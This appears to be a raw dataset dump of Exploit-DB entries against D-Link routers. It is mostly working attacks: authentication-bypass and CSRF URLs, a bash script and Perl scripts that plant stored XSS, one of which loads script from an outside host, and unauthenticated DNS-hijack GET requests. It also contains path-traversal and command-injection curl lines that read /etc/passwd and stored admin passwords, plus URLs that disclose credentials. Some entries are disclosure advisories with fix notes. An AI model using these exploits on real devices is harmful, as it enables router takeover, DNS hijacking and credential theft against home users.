deardaniel/secdata-raw huggingface dataset:
Exploit-DB #30547
Description: D-Link DSL-2750u ME_1.09 - Cross-Site Request Forgery
Type: webapps
Platform: hardware
Date: 2013-12-28
Author: FIGHTERx war

Exploit:
######################################################################
# Exploit Title:  {D-Link DSL-2750U} CSRF Vulnerability
# Author: khaledmohdar(Mysterious guy)
# E-mail: fighterxwar@gmail.com(www.facebook.com/khaledmohdar)
# Category: Hardware
# Google Dork: N/A
# Vendor: http://www.dlink.com/
# Firmware Version: ME_1.09
# Product: http://www.dlinkmea.com/site/index.php/site/productDetails/232
# Tested on: Windows 7 32-bit
######################################################################

1)Introduction
==============
D-Link DSL-2750U High-Speed Internet The DSL-2750U Wireless N ADSL2+ 4-Port
Wi-Fi Router is a versatile,
 high-performance router for home and the small office.
 With integrated ADSL2/2+ supporting download speeds up to 24 Mbps,
 firewall protection, Quality of Service (QoS), 802.11n wireless LAN,
 and 4 Ethernet switch ports,
this router provides all the functions that a home or small office needs to
establish
a secure and high-speed
link to the Internet. Ultimate Wireless Connection with Maximum Security
============================================
2)Vulnerability Description

This router allows an attacker to bypass authentication and login to the
setup page
after that just make any settings and save or apply it and it's going to
say "worng old password"
Don't worry just hit ok . now you are in the Router settings you can
Download the config file
or whatever yuo want!

and now you can easily make a new settings Includes a new login password


#Exploit
========
open this link

192.168.1.1/html/config

then Wath my Video

https://www.youtube.com/watch?v=-Yvs_sc1tjQ
Exploit-DB #33822
Description: D-Link DSL-2760U-E1 - Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2014-06-21
Author: Yuval tisf Nativ

Exploit:
#!/bin/bash

# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname, 
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname. 

# Checks if you are root
if [ "$(id -u)" != "0" ]; then
	echo "Please execute this script as root"
	exit 1
fi	

# You're XSS here
xss = "\"<script>alert('pwned');</script>"

# backup current hostname
currhost = `hostname`

# Bannering
echo ""
echo "		D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""

# Change hostname to XSS
sudo hosname $xss

# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost
Exploit-DB #37237
Description: D-Link DSL-2780B DLink_1.01.14 - Remote DNS Change
Type: webapps
Platform: hardware
Date: 2015-06-08
Author: Todor Donev

Exploit:
  D-Link DSL-2780B DLink_1.01.14 
  Unauthenticated Remote DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  No description for morons, 
  script kiddies & noobs !!

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!


[todor@adamantium ~]$ GET "http://TARGET/dnscfg.cgi?dnsSecondary=8.8.4.4&dnsIfcsList=&dnsRefresh=1" 0&> /dev/null <&1
Exploit-DB #25251
Description: D-Link DSL-320B - Multiple Vulnerabilities
Type: webapps
Platform: hardware
Date: 2013-05-06
Author: m-1-k-3

Exploit:
Device: DSL-320B

Firmware Version: EU_DSL-320B v1.23 date: 28.12.2010

Vendor URL: http://www.dlink.com/de/de/home-solutions/connect/modems-and-gateways/dsl-320b-adsl-2-ethernet-modem

============ Vulnerability Overview: ============  

* Access to the Config file without authentication => full authentication bypass possible! :): (1)

192.168.178.111/config.bin

===<snip>====
<sysUserName value="admin"/>
<zipb enable="1"/>
<dns dynamic="disable" primary="1.1.1.1" secondary="2.2.2.3" domain="Home" host="alpha"/>
<sysPassword value="dGVzdA=="/>
===<snip>====

=> sysPassword is Base64 encoded

* Access to the logfile without authentication: (1)
192.168.178.111/status/status_log.sys

* Change the DNS Settings without authentication: (1)
http://192.168.178.111/advanced/adv_dns.xgi?&SET/dns/mode=0&SET/dns/mode/server/primarydns=1.1.1.1&SET/dns/mode/server/secondarydns=2.2.2.2

* Stored XSS within parental control (2):
	
	=> Parameter: set/bwlist/entry:1/hostname
	
Request:
http://192.168.178.111/home/home_parent.xgi?&set/bwlist/enable=1&set/bwlist/bw_status=0&set/bwlist/entry:1/bw_flag=0&set/bwlist/entry:1/hostname=%22%3E%3Cimg%20src=%220%22%20onerror=alert(1)%3E&set/bwlist/entry:1/weekday=6&set/bwlist/entry:1/begintime=00:00&set/bwlist/entry:1/endtime=23:59&set/bwlist/entry:1/store=1&set/bwlist/apply=1

Again you are able to place this XSS without authentication. :)

* Login Credentials in HTTP GET are not a good idea => use HTTP Post! (3)
http://192.168.178.111/login.xgi?user=admin&pass=admin1

* Credentials in HTTP GET via password change request are not a good idea => use HTTP Post!: (3)
http://192.168.178.111/tools/tools_admin.xgi?&set/sys/account/user/old[CREDENTIAL_REDACTED]/sys/account/user/[CREDENTIAL_REDACTED]=1

============ Solution ============

Update to firmware version 1.25:

(1) - fixed
(2) - not fixed but authentication needed
(3) - not fixed

============ Credits ============

The vulnerability was discovered by Michael Messner
Mail: devnull#at#s3cur1ty#dot#de
Web: http://www.s3cur1ty.de/advisories
Twitter: @s3cur1ty_de

============ Time Line: ============

17.03.2012 - discovered vulnerabilities
17.03.2013 - informed vendor about the vulnerabilities
25.04.2013 - tested beta version from vendor
30.04.2013 - vendor releases patch
06.05.2013 - public disclosure

===================== Advisory end =====================
Exploit-DB #36987
Description: D-Link DSL-500B Gen 2 - Parental Control Configuration Panel Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2015-05-11
Author: XLabs Security

Exploit:
#!/usr/bin/perl
#
# Date dd-mm-aaaa: 13-02-2015
# Exploit for D-Link DSL-500B G2
# Cross Site Scripting (XSS Injection) Stored in todmngr.tod
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#

use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;

	my $ip = $ARGV[0];

	my $user = $ARGV[1];

	my $pass = $ARGV[2];
		

		if (@ARGV != 3){

			print "\n";
			print "XLabs Information Security www.xlabs.com.br\n";
			print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in todmngr.tod\n";
			print "Developed by Mauricio Correa\n";
			print "Contact: mauricio\@xlabs.com.br\n";
			print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";

		}else{

			$ip = $1 if($ip=~/(.*)\/$/);

			print "XLabs Information Security www.xlabs.com.br\n";
			print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in todmngr.tod\n";
			print "Developed by Mauricio Correa\n";
			print "Contact: mauricio\@xlabs.com.br\n";
			print "[+] Exploring $ip\/ ...\n";

			my $payload = "%3Cscript%3Ealert%28%27XLabs%27%29%3C%2fscript%3E";
			
			my $ua = new LWP::UserAgent;

			my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );

			$hdrs->authorization_basic($user, $pass);
			
			chomp($ip);

			
			print "[+] Preparing exploit...\n";
			
			my $url_and_xpl = "$ip/todmngr.tod?action=add&username=$payload&mac=AA:BB:CC:DD:EE:FF&days=1&start_time=720&end_time=840";
						
			my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);

			print "[+] Prepared!\n";
			
			print "[+] Requesting and Exploiting...\n";
			
			my $resp = $ua->request($req);

			if ($resp->is_success){

			print "[+] Successfully Requested!\n";
			
			
				my $url = "$ip/todmngr.tod?action=view";
			
				$req = new HTTP::Request("GET",$url,$hdrs);

				print "[+] Checking that was explored...\n";
				
				
				my $resp2 = $ua->request($req);
				
				
				if ($resp2->is_success){

				my $resultado = $resp2->as_string;
				
							if(index($resultado, uri_unescape($payload)) != -1){
							
							print "[+] Successfully Exploited!";

							}else{
							
							print "[-] Not Exploited!";
							
							}
				}

			}else {

			print "[-] Ops!\n";
			print $resp->message;

			}


}
Exploit-DB #36988
Description: D-Link DSL-500B Gen 2 - URL Filter Configuration Panel Persistent Cross-Site Scripting
Type: webapps
Platform: hardware
Date: 2015-05-11
Author: XLabs Security

Exploit:
#!/usr/bin/perl
#
# Date dd-mm-aaaa: 13-02-2015
# Exploit for D-Link DSL-500B G2
# Cross Site Scripting (XSS Injection) Stored in todmngr.tod URL Filter
# Developed by Mauricio Corrêa
# XLabs Information Security
# WebSite: www.xlabs.com.br
#
# CAUTION!
# This exploit disables some features of the modem,
# forcing the administrator of the device, accessing the page to reconfigure the modem again,
# occurring script execution in the browser of internal network users.
#
# Use with caution!
# Use at your own risk!
#

use strict;
use warnings;
use diagnostics;
use LWP::UserAgent;
use HTTP::Request;
use URI::Escape;

	my $ip = $ARGV[0];

	my $user = $ARGV[1];

	my $pass = $ARGV[2];
		

		if (@ARGV != 3){

			print "\n";
			print "XLabs Information Security www.xlabs.com.br\n";
			print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
			print "Developed by Mauricio Correa\n";
			print "Contact: mauricio\@xlabs.com.br\n";
			print "Usage: perl $0 http:\/\/host_ip\/ user pass\n";

		}else{

			$ip = $1 if($ip=~/(.*)\/$/);

			print "XLabs Information Security www.xlabs.com.br\n";
			print "Exploit for POC D-Link DSL-500B G2 Stored XSS Injection in URL Filter\n";
			print "Developed by Mauricio Correa\n";
			print "Contact: mauricio\@xlabs.com.br\n";
			print "[+] Exploring $ip\/ ...\n";

			my $payload = "%3Cscript%20src%3D%27%2f%2fxlabs.com.br%2fxssi.js%27%3E%3C%2fscript%3E";
			
			my $ua = new LWP::UserAgent;

			my $hdrs = new HTTP::Headers( Accept => 'text/plain', UserAgent => "XLabs Security Exploit Browser/1.0" );

			$hdrs->authorization_basic($user, $pass);
			
			chomp($ip);

			
			print "[+] Preparing exploit...\n";
			
			my $url_and_xpl = "$ip/todmngr.tod?action=set_url&TodUrlAdd=GameOver$payload&port_num=1234";
						
			my $req = new HTTP::Request("GET",$url_and_xpl,$hdrs);

			print "[+] Prepared!\n";
			
			print "[+] Requesting and Exploiting...\n";
			
			my $resp = $ua->request($req);

			if ($resp->is_success){

			print "[+] Successfully Requested!\n";
			
			
				my $url = "$ip/todmngr.tod?action=urlview";
			
				$req = new HTTP::Request("GET",$url,$hdrs);

				print "[+] Checking that was explored...\n";
				
				
				my $resp2 = $ua->request($req);
				
				
				if ($resp2->is_success){

				my $resultado = $resp2->as_string;
				
							if(index($resultado, uri_unescape($payload)) != -1){
							
								print "[+] Successfully Exploited!";

							}else{
							
								print "[-] Not Exploited!";
							
							}
				}

			}else {

				print "[-] Ops!\n";
				print $resp->message;

			}


}
Exploit-DB #37241
Description: D-Link DSL-526B ADSL2+ AU_2.01 - Remote DNS Change
Type: webapps
Platform: hardware
Date: 2015-06-08
Author: Todor Donev

Exploit:
  D-Link DSL-526B ADSL2+ AU_2.01 
  Unauthenticated Remote DNS Change

  Copyright 2015 (c) Todor Donev 
  <todor.donev at gmail.com>
  http://www.ethical-hacker.org/
  https://www.facebook.com/ethicalhackerorg

  No description for morons, 
  script kiddies & noobs !!

  Disclaimer:
  This or previous programs is for Educational
  purpose ONLY. Do not use it without permission.
  The usual disclaimer applies, especially the
  fact that Todor Donev is not liable for any
  damages caused by direct or indirect use of the
  information or functionality provided by these
  programs. The author or any Internet provider
  bears NO responsibility for content or misuse
  of these programs or any derivatives thereof.
  By using these programs you accept the fact
  that any damage (dataloss, system crash,
  system compromise, etc.) caused by the use
  of these programs is not Todor Donev's
  responsibility.
  
  Use them at your own risk!

[todor@adamantium ~]$ GET "http://TARGET/dnscfg.cgi?dnsSecondary=8.8.8.8&dnsDynamic=0&dnsRefresh=1" | grep "var dns2"  
    var dns2 = '8.8.8.8';
Exploit-DB #41840
Description: D-Link DWR-116 / DWR-116A1 - Arbitrary File Download
Type: webapps
Platform: hardware
Date: 2017-04-07
Author: Patryk Bogdan

Exploit:
# Title: D-Link DWR-116 Arbitrary File Download
# Vendor: D-Link (www.dlink.com)
# Affected model(s): DWR-116 / DWR-116A1
# Tested on: V1.01(EU), V1.00(CP)b10, V1.05(AU)
# CVE: CVE-2017-6190
# Date: 04.07.2016
# Author: Patryk Bogdan (@patryk_bogdan)

Description:
D-Link DWR-116 with firmware before V1.05b09 suffers from vulnerability
which leads to unathorized file download from device filesystem.


PoC:

HTTP Request:
GET /uir/../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: 192.168.2.1
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

HTTP Response:
HTTP/1.0 200 OK
Content-Type: application/x-none
Cache-Control: max-age=60
Connection: close

root:$1$$taUxCLWfe3rCh2ylnFWJ41:0:0:root:/root:/bin/ash
nobody:$1$$qRPK7m23GJusamGpoGLby/:99:99:nobody:/var/usb:/sbin/nologin
ftp:$1$$qRPK7m23GJusamGpoGLby/:14:50:FTP USER:/var/usb:/sbin/nologin


Fix:
Update device to the new firmware (V1.05b09)
Exploit-DB #39581
Description: D-Link DWR-932 Firmware 4.00 - Authentication Bypass
Type: webapps
Platform: hardware
Date: 2016-03-21
Author: Saeed reza Zamanian

Exploit:
D-Link DWR-932 Firmware <= V4.00 Authentication Bypass - Password Disclosure

Author: Saeed reza Zamanian [penetrationtest @ Linkedin]

Product: D-Link DWR-932 
Tested Version: Firmware V4.00(EU)b03
Vendor: D-Link http://www.dlink.com/
Product URL: http://www.dlink.com/uk/en/home-solutions/work/personal-hotspots/dwr-932-4g-lte-mobile-wi-fi-hotspot-150-mbps
Date: 20 Mar 2016


About Product: 
---------------
The DWR-932 4G LTE Mobile Wi-Fi Hotspot 150 Mbps is a 4G/LTE Cat4 high speed broadband Wi-Fi mobile hotspot. The DWR-932 uses a 4G Internet connection to give you a simple and fast Wi-Fi network anywhere you need.


Vulnerability Details:
----------------------
The Cgi Script "/cgi-bin/dget.cgi" handles most of user side and server side requests, but there is no observation on requests recieved from unauthorized users.
so the attacker will be able to view Adminitrative or Wifi Password in clear text by visiting below URLs.

View Admin Username and Password:
http://192.168.0.1/cgi-bin/dget.cgi?cmd=DEVICE_web_usrname,DEVICE_web_passwd,DEVICE_login_timeout&_=[PII_REDACTED]07
Output:
{ "DEVICE_web_usrname": "MyUsErNaMe", "DEVICE_web_passwd": "MyPaSsWoRd", "DEVICE_login_timeout": "600" }

View Wifi Password:
http://192.168.0.1/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=[PII_REDACTED]03
Output:
{ "wifi_AP1_ssid": "dlink-DWR-932", "wifi_AP1_hidden": "0", "wifi_AP1_passphrase": "MyPaSsPhRaSe", "wifi_AP1_passphrase_wep": "", "wifi_AP1_security_mode": "3208,8", "wifi_AP1_enable": "1", "get_mac_filter_list": "", "get_mac_filter_switch": "0", "get_client_list": "9c:00:97:00:a3:b3,192.168.0.45,IT-PCs,0>40:b8:00:ab:b8:8c,192.168.0.43,android-b2e363e04fb0680d,0", "get_mac_address": "c4:00:f5:00:ec:40", "get_wps_dev_pin": "", "get_wps_mode": "0", "get_wps_enable": "0", "get_wps_current_time": "" }

Export All Configurations:
http://192.168.0.1/cgi-bin/export_cfg.cgi


#EOF
Exploit-DB #15666
Description: D-Link Routers - Authentication Bypass (1)
Type: webapps
Platform: hardware
Date: 2010-12-03
Author: Craig Heffner

Exploit:
# Exploit Title: Multiple D-Link Router Authentication Bypass Vulnerabilities
# Date: 12-01-2011
# Author: Craig Heffner, /dev/ttyS0
# Firmware Link: http://www.dlink.co.uk/
# Firmware Version(s): All
# Tested on: DIR-300, DIR-320, DIR-615 revD

Multiple D-Link routers that use a PHP based Web interface suffer from the same authentication bypass
vulnerability which allows unprivileged users to view and modify administrative router settings.
Further, even if remote administration is disabled this vulnerability can be exploited by a remote
attacker via a CSRF attack.

The vulnerability has been confirmed in the following routers:

	DIR-615 revD
	DIR-320
	DIR-300

The following example URL will allow access to the router's main administrative Web page without authentication:

	http://192.168.0.1/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

For a more detailed description of the vulnerability, see: http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf.

Note that this vulnerability was independently discovered in the DIR-300 and subsequently reported by Karol Celin on 09-Nov-2010 [1].

[1] http://www.securityfocus.com/archive/1/514687/30/120/threaded
Exploit-DB #11101
Description: D-Link Routers - Authentication Bypass (2)
Type: webapps
Platform: hardware
Date: 2010-01-10
Author: SourceSec DevTeam

Exploit:
Multiple D-­Link routers suffer from insecure implementations of the Home Network Administration
Protocol which allow un­authenticated and/or un­privileged users to view and configure administrative
settings on the router.

Further, the mere existence of HNAP allows attackers to completely bypass the CAPTCHA login
features that D-­Link has made available in recent firmware releases.

It is suspected that most, if not all, D­-Link routers manufactured since 2006 have HNAP support and
are vulnerable to one of the below described vulnerabilities. However, only the following routers and
firmware versions have been confirmed to date:

         1) DI­524 hardware version C1, firmware version 3.23
         2) DIR­628 hardware version B2, firmware versions 1.20NA and 1.22NA
         3) DIR­655 hardware version A1, firmware version 1.30EA

Detailed description available here:
http://www.sourcesec.com/Lab/dlink_hnap_captcha.pdf

POC code available here: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/11101.tar.gz (hnap0wn.tar.gz)
Exploit-DB #45676
Description: D-Link Routers - Command Injection
Type: webapps
Platform: hardware
Date: 2018-10-12
Author: Blazej Adamczyk

Exploit:
## Shell command injection
CVE: CVE-2018-10823

CVSS v3: 9.1
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Description: An issue was discovered on D-Link routers:

DWR-116 through 1.06,
DWR-512 through 2.02,
DWR-712 through 2.02,
DWR-912 through 2.02,
DWR-921 through 2.02,
DWR-111 through 1.01,
and probably others with the same type of firmware.
An authenticated attacker may execute arbitrary code by injecting the shell command into the chkisg.htm page Sip parameter. This allows for full control over the device internals.

PoC:

Login to the router.
Request the following URL after login:
`$ curl http://routerip/chkisg.htm%3FSip%3D1.1.1.1%20%7C%20cat%20%2Fetc%2Fpasswd`
See the passwd file contents in the response.
Exploit-DB #45678
Description: D-Link Routers - Directory Traversal
Type: webapps
Platform: hardware
Date: 2018-10-12
Author: Blazej Adamczyk

Exploit:
Directory Traversal
CVE: CVE-2018-10822

CVSS v3: 8.6
AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Description: Directory traversal vulnerability in the web interface on D-Link routers:

DWR-116 through 1.06,
DIR-140L through 1.02,
DIR-640L through 1.02,
DWR-512 through 2.02,
DWR-712 through 2.02,
DWR-912 through 2.02,
DWR-921 through 2.02,
DWR-111 through 1.01,
and probably others with the same type of firmware
allows remote attackers to read arbitrary files via a /.. or // after “GET /uir” in an HTTP request.

NOTE: this vulnerability exists because of an incorrect fix for CVE-2017-6190.

PoC:

`$ curl http://routerip/uir//etc/passwd`
The vulnerability can be used retrieve administrative password using the other disclosed vulnerability - CVE-2018-10824.

This vulnerability was reported previously by Patryk Bogdan in CVE-2017-6190 but he reported it is fixed in certain release but unfortunately it is still present in even newer releases. The vulnerability is also present in other D-Link routers and can be exploited not only (as the original author stated) by double dot but also absolutely using double slash.
Exploit-DB #45677
Description: D-Link Routers - Plaintext Password
Type: webapps
Platform: hardware
Date: 2018-10-12
Author: Blazej Adamczyk

Exploit:
## Password stored in plaintext
CVE: CVE-2018-10824

Description:

An issue was discovered on D-Link routers:

DWR-116 through 1.06,
DIR-140L through 1.02,
DIR-640L through 1.02,
DWR-512 through 2.02,
DWR-712 through 2.02,
DWR-912 through 2.02,
DWR-921 through 2.02,
DWR-111 through 1.01,
and probably others with the same type of firmware.
NOTE: I have changed the filename in description to XXX because the vendor leaves some EOL routers unpatched and the attack is too simple

The administrative password is stored in plaintext in the /tmp/XXX/0 file. An attacker having a directory traversal (or LFI) can easily get full router access.

PoC using the directory traversal vulnerability disclosed above - CVE-2018-10822

`$ curl http://routerip/uir//tmp/XXX/0`
This command returns a binary config file which contains admin username and password as well as many other router configuration settings. By using the directory traversal vulnerability it is possible to read the file without authentication.